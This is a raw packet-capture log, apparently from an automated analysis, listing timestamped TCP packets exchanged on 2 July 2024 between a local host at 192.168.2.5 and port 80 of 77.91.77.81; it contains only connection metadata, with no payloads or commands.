Jul 2, 2024 04:12:14.925793886 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925803900 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925812960 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925816059 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925829887 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925834894 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925857067 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925877094 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925878048 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925899029 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925909042 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925921917 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925932884 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925945044 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925954103 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925954103 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925970078 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925977945 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925985098 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925997972 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926000118 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926013947 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926019907 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926024914 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926029921 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926038980 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926043987 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926055908 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926068068 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926305056 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926408052 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926415920 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926430941 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926441908 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926445007 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926456928 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926465034 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926470995 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926472902 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926501036 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926512957 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926536083 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926553011 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926584959 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926693916 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926712036 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926721096 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926736116 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926743984 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926755905 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926755905 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926757097 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926765919 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926775932 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926780939 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926793098 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926805019 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926812887 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926816940 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926822901 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926837921 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926839113 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926850080 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926851034 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926863909 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926871061 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926873922 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926887989 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926892996 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926901102 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926903963 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.926912069 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926927090 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.926934958 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.944647074 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944657087 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944674015 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944686890 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944694996 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.944699049 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944720030 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.944736958 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944742918 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.944747925 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944763899 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944783926 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.944802999 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.944818974 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944829941 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944844961 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944853067 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944859982 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.944866896 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944883108 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944886923 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.944896936 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.944907904 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.944917917 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.944966078 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.981301069 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.981323004 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.981333971 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.981355906 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.981385946 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.981389046 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.981403112 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.981415987 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.981426954 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.981441975 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.981448889 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.981456041 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.981458902 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.981468916 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.981475115 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.981482029 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.981491089 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.981497049 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.981507063 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.981514931 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.981529951 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.981547117 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.981556892 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.981574059 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.981585026 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.981595993 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.981604099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.014857054 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.014878035 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.014894962 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.014904976 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.014933109 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.014971018 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.014986038 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015006065 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015018940 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015022039 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015033960 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015039921 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015060902 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015069008 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015070915 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015106916 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015109062 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015125036 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015136003 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015139103 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015155077 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015176058 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015177011 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015187025 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015203953 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015211105 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015213966 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015223026 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015242100 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015250921 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015275955 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015285015 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015310049 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015316963 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015347004 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015358925 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015372038 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015388966 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015398026 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015403986 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015408993 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015425920 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015439987 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015463114 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015533924 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015559912 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015573978 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015583992 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015593052 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015609026 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015616894 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015641928 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015669107 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015680075 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015692949 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015712976 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015738010 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015742064 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015749931 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015782118 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015871048 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015886068 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015902996 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015912056 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015913010 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015913963 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015929937 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015943050 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015943050 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015957117 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015968084 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015985012 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.015991926 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.015996933 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016014099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016026020 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016041994 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016052008 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016069889 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016089916 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016112089 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016168118 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016179085 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016202927 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016211987 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016216040 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016231060 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016232014 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016242981 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016257048 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016259909 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016273022 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016295910 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016340017 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016350031 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016381025 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016391993 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016402960 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016433001 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016436100 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016465902 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016527891 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016541004 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016573906 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016598940 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016612053 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016645908 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016710043 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016724110 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016736031 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016752958 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016763926 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016777039 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016791105 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016854048 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016865015 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016885042 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016902924 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016923904 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016931057 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016943932 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016959906 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016973019 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.016978025 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.016989946 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017004967 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017009020 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.017018080 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.017043114 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.017107010 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017169952 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017183065 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017204046 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.017222881 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017227888 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.017234087 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017261028 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017271042 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017287970 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017292023 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.017314911 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.017337084 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.017337084 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017350912 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017368078 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.017371893 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017383099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.017385006 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017402887 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017411947 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.017412901 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017421007 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.017431021 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.017433882 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.017452002 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.017467022 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.035368919 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.035408020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.035415888 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.035423994 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.035443068 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.035460949 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.035521984 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.035533905 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.035552025 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.035557985 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.035561085 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.035569906 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.035587072 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.035599947 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.035603046 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.035618067 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.035628080 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.035630941 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.035651922 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.035653114 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.035665989 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.035675049 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.035681963 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.035700083 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.035727024 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.084470034 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.084506989 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.084522009 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.084551096 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.084563971 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.084578991 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.084580898 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.084597111 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.084605932 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.084609985 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.084618092 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.084639072 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.084646940 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.084649086 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.084659100 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.084677935 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.084691048 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.084692955 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.084707022 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.084717035 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.084719896 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.084736109 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.084737062 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.084762096 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.084783077 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.105861902 CEST	80	49705	77.91.77.81	192.168.2.5
